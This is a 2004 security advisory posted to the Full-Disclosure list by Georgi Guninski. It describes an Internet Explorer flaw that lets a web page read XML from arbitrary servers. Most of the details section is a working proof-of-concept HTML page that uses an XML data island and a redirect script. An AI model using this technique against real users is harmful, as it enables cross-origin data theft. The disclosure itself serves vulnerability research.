full-disclosure - Yet another IE aperture

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From: guninski at guninski.com (Georgi Guninski)
Subject: Yet another IE aperture

Georgi Guninski security advisory #71, 2004

Yet another IE aperture

Systems affected:
tested on patched IE on win2k and xp

Date: 7 October 2004

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You  may  not  modify	it   and   distribute	it   or   distribute   parts
of it without the author's written permission - this especially  applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,	cert
and mitre.
If   you   want    to	 link	 to    this    content	  use	 the	URL:
http://www.guninski.com/where_do_you_want_billg_to_go_today_1.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are	my  own  and
not   of   any	 company.    The   usual   standard   disclaimer    applies,
especially the fact that Georgi Guninski  is  not  liable  for	any  damages
caused by direct  or  indirect	use  of  the  information  or  functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears   no
responsibility for  content  or  misuse  of  this  advisory  or  program  or
any derivatives thereof.

Description:

By opening html in IE it is possible to read at least well formed xml from
arbitrary servers. The info then may be transmitted.

Details:

Consider this:

---------
<html>
	<script>
		function f()
		{
			alert(document.all.x1.XMLDocument.xml);
		}
	</script>

	<body onload="f()">
		<script id="x1" language="xml" src="/cgi-bin/redir.pl"></script>
		<h1>
			Copyright Georgi Guninski <br />
			Cannot be used in any database
		</h1>
	</body>
</html>
---------

redir.pl does a http redirect.

Georgi Guninski
http://www.guninski.com